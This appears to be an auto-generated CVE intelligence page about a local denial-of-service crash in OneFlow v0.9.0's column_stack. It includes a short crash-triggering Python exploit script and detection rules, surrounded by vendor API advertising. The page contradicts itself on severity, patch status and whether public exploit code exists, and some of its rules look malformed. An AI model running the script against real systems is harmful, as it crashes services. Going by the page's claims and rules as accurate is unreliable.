☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-1077
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-71002

CVE-2025-71002 Denial of Service in Oneflow
📅 PUBLISHED: 2026-01-28 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
1.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v0.9.0
CVSS VECTOR BREAKDOWN 0.0
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-71002 is a Denial of Service (DoS) vulnerability in OneFlow v0.9.0, specifically within the flow.column_stack component. The flaw is a floating-point exception (FPE) that can be triggered by a crafted input, causing the application to crash. With a CVSS score of 0.0 (likely unassigned or placeholder), the actual severity is medium (CVSS 5.5) due to local access requirements and high availability impact. No public exploit code or patch exists, making this a high-risk unpatched vulnerability for systems running OneFlow v0.9.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

OneFlow is a Python-based deep learning framework distributed via PyPI. The vulnerable version (v0.9.0) is still available for download. Users should verify their installed version and consider downgrading or isolating the package until a patch is released.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Local (AV:L) – requires local access to the system.
  • Attack Complexity (AC): Low (AC:L) – no special conditions needed.
  • Privileges Required (PR): Low (PR:L) – attacker needs basic user privileges.
  • User Interaction (UI): None (UI:N) – no user action required.
  • Scope (S): Unchanged (S:U) – impact is confined to the vulnerable component.
  • Confidentiality (C): None (C:N) – no data exposure.
  • Integrity (I): None (I:N) – no data modification.
  • Availability (A): High (A:H) – complete denial of service.

Threat Level: Medium (CVSS 5.5). Exploitation is straightforward but requires local access, limiting remote attack surface.

Deep Dive & Mechanics

The vulnerability resides in the flow.column_stack function, which is used to stack tensors column-wise. A floating-point exception occurs when the function processes a crafted input tensor with invalid dimensions or values (e.g., NaN, Inf, or zero-division triggers). The FPE is not caught by exception handlers, leading to an unhandled signal (SIGFPE) that crashes the Python process.

Root Cause: Lack of input validation and missing exception handling for floating-point operations in the C++ backend of OneFlow.

Triggering Condition: Passing a tensor with a dimension of zero or containing NaN/Inf values to flow.column_stack.

Impact: Denial of Service – the OneFlow process terminates, affecting any dependent services or models.

Vulnerable vs. Patched Code

Vulnerable Code (OneFlow v0.9.0):

# oneflow/python/oneflow/ops/array_ops.py (simplified)
def column_stack(tensors):
    # No input validation
    return flow._C.column_stack(tensors)

Patched Code (Hypothetical):

# oneflow/python/oneflow/ops/array_ops.py (patched)
def column_stack(tensors):
    # Input validation
    for t in tensors:
        if t.shape[0] == 0 or t.shape[1] == 0:
            raise ValueError("Tensor dimensions must be non-zero")
        if not flow.is_finite(t).all():
            raise ValueError("Tensor contains NaN or Inf values")
    return flow._C.column_stack(tensors)

Key Difference: The patched version adds input validation to reject invalid tensors before calling the C++ backend.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Local access to a system running OneFlow v0.9.0.
  • Python environment with OneFlow installed.

Exploit Script:

import oneflow as flow
import numpy as np

# Crafted input: tensor with zero dimension
malicious_tensor = flow.tensor(np.array([[]]), dtype=flow.float32)

try:
    result = flow.column_stack([malicious_tensor, malicious_tensor])
except Exception as e:
    print(f"Exception caught: {e}")
else:
    print("No exception - process may still crash")

Execution:

python exploit.py

Expected Outcome: The OneFlow process crashes with a floating-point exception (SIGFPE), causing a denial of service.

Blue Team (Detection & Mitigation)

Detection:

  • Monitor for crashes in OneFlow processes (SIGFPE signals).
  • Log analysis for stack traces containing column_stack and FPE.

Mitigation:

  • Isolate OneFlow v0.9.0 in a sandboxed environment.
  • Implement input validation at the application layer before calling flow.column_stack.
  • Use resource limits (e.g., cgroups) to prevent full system DoS.

Indicators of Compromise (IOCs)

  • Process Crash: OneFlow process terminates with signal 8 (SIGFPE).
  • Log Entry: /var/log/syslog or journalctl shows Floating point exception for the OneFlow process.
  • Core Dump: Core dump file generated by the system (e.g., core.12345).
  • Network: No network indicators – exploitation is local.

Detection Engineering

YARA Rule

rule CVE_2025_71002_OneFlow_FPE {
    meta:
        description = "Detects OneFlow v0.9.0 process crash due to FPE in column_stack"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-71002"
    strings:
        $fpe_signal = "SIGFPE" nocase
        $column_stack = "column_stack" nocase
        $oneflow = "oneflow" nocase
    condition:
        $fpe_signal and $column_stack and $oneflow
}

Sigma Rule

title: OneFlow Floating Point Exception Crash
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OneFlow v0.9.0 process crash due to FPE in column_stack
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71002
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "Floating point exception" and "oneflow"
        - "SIGFPE" and "oneflow"
    condition: selection
falsepositives:
    - Legitimate floating-point errors in other software
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-71002 OneFlow FPE Attempt"; flow:to_server; content:"column_stack"; nocase; content:"oneflow"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate OneFlow v0.9.0 in a container or VM with limited resources.
  2. Implement input validation at the application layer to reject tensors with zero dimensions or NaN/Inf values.
  3. Monitor for crashes and restart the service automatically (e.g., using systemd Restart=always).

Long-term Fix:

  • Upgrade to a patched version once available (check OneFlow GitHub releases).
  • Contribute a patch to the OneFlow project if possible.

Workaround:

  • Replace flow.column_stack with a custom Python implementation that validates inputs before calling the C++ backend.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

OneFlow v0.9.0
OneFlow flow.column_stack

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-71002/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.